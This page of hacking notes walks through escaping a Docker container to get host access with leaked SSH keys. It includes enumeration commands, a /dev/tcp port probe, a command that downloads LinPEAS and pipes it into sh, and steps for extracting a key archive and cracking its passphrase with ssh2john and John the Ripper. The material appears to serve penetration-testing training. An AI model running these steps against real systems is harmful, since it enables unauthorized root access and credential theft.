> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).
# Docker Escape (SSH Keys) - Linux Privilege Escalation
Docker Escape (SSH Keys) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Docker escape paths abuse container misconfiguration, mounted host resources, default credentials, reused passwords, or excessive container privileges. The objective is to move from the container context to host-level access. This specific page focuses on **Docker Escape (SSH Keys)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```
## Examples
We are inside a container and use the command to find the host-side container address (192.168.150.1). Then we check if port 22 is open on this machine.
```bash
echo '' > /dev/tcp/192.168.150.1/22
```
### **System Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**
We use LinPEAS for privilege escalation enumeration:
```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
**We find an unexpected tgz folder in the root directory.**
```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```
### **Protected Private SSH Key Crack:**
### Private SSH key identification
We identify a pair of OpenSSH public and private SSH keys.
### Private key cracking:
* We observe that the private key is encrypted
* We use **ssh2john.py** to convert file content into a hash:
```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```
* Then we use John the Ripper to break the hash with a password file.
```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```
### Access as root:
We get access to the machine as root.
### **Abusing SSH Key Trust to Escape the Container:**
Use the `known_hosts` configuration in the container SSH directory to pivot to another machine, allowing us to connect to the admin user on the host machine.
---
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